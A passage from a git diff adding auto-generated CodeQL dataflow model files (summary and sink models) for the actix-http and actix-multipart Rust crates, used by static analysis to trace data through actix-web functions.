"ReturnValue.Field[crate::h1::service::H1Service::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::utils::SendResponse::framed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1].Field[crate::responses::response::Response::body]", "ReturnValue.Field[crate::h1::utils::SendResponse::body].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h2::Payload::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::connection]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::flow]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[2]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[3]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::peer_addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0].Field[1]", "ReturnValue.Field[crate::h2::service::H2ServiceHandlerResponse::state].Field[crate::h2::service::State::Handshake(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::next", "Argument[self].Field[crate::header::map::Removed::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::header::map::Value::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::shared::http_date::HttpDate(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::min", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::quality]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::zero", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_value", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::duration", "Argument[self].Field[crate::keep_alive::KeepAlive::Timeout(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::normalize", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H1::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload].Field[crate::h2::Payload::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::Stream::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_pool", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_ref", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::head::RequestHeadType::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::peer_addr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_payload", "Argument[0]", "ReturnValue.Field[0].Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_conn_data", "Argument[self].Field[crate::requests::request::Request::conn_data]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_payload", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::force_close", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message_body", "Argument[self].Field[crate::responses::builder::ResponseBuilder::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::no_chunking", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref_mut", "Argument[self].Field[crate::responses::head::BoxedResponseHead::head].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::responses::head::ResponseHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::responses::head::ResponseHead::status]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::reason", "Argument[self].Field[crate::responses::head::ResponseHead::reason].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Reference", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::status", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::drop_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[0].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[0].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_body", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_into_boxed_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::map_into_boxed_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[0]", "ReturnValue.Field[0].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::body]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[0].Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::replace_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[0].Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[0]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::extensions]", "ReturnValue.Field[crate::responses::response::Response::extensions]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_body", "Argument[self].Field[crate::responses::response::Response::head]", "ReturnValue.Field[crate::responses::response::Response::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_body", "Argument[1]", "ReturnValue.Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::service::HttpService::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::service::HttpServiceHandler::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[4]", "ReturnValue.Field[crate::service::HttpServiceHandler::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::service::TlsAcceptorConfig::handshake_timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::test::TestBuffer::err].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err].Reference", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::clone", "Argument[self].Field[crate::test::TestBuffer::err]", "ReturnValue.Field[crate::test::TestBuffer::err]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::header::shared::http_date::HttpDate(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::decode", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_mode", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[0]", "Argument[self].Field[crate::ws::codec::Codec::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[0]", "ReturnValue.Field[crate::ws::codec::Codec::max_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::Dispatcher::inner].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::framed", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::framed_mut", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::service", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::service]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::service_mut", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::service]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::tx", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::tx].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::tx", "Argument[self].Field[crate::ws::dispatcher::inner::Dispatcher::tx]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_rx", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::framed]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_rx", "Argument[2]", "ReturnValue.Field[crate::ws::dispatcher::inner::Dispatcher::rx]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::dispatcher::inner::DispatcherError::Service(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::parse", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::proto::CloseCode::Other(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[0]", "ReturnValue.Field[crate::ws::proto::CloseReason::code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::ws::proto::CloseReason::code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::ws::proto::CloseCode::Other(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "crate::ws::proto::hash_key", "Argument[0]", "hasher-input", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml new file mode 100644 index 000000000000..f5be3177f5b8 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-multipart.model.yml @@ -0,0 +1,43 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_disposition", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::content_type", "Argument[self].Field[crate::field::Field::content_type].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::headers", "Argument[self].Field[crate::field::Field::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::name", "Argument[self].Field[crate::field::Field::content_disposition].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::field::Field::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::field::Field::content_disposition]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[2].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::field::Field::form_field_name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[3]", "ReturnValue.Field[crate::field::Field::headers]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[4]", "ReturnValue.Field[crate::field::Field::safety]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[5]", "ReturnValue.Field[crate::field::Field::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::field::InnerField::boundary]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[0]", "ReturnValue.Field[crate::form::Limits::total_limit_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::new", "Argument[1]", "ReturnValue.Field[crate::form::Limits::memory_limit_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::MultipartForm(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::memory_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::memory_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::memory_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "Argument[self].Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[0]", "ReturnValue.Field[crate::form::MultipartFormConfig::total_limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::total_limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "Argument[self].Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[0]", "ReturnValue.Field[crate::form::json::JsonConfig::validate_content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::validate_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::directory", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::into_inner", "Argument[self].Field[crate::form::text::Text(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-multipart", "::error_handler", 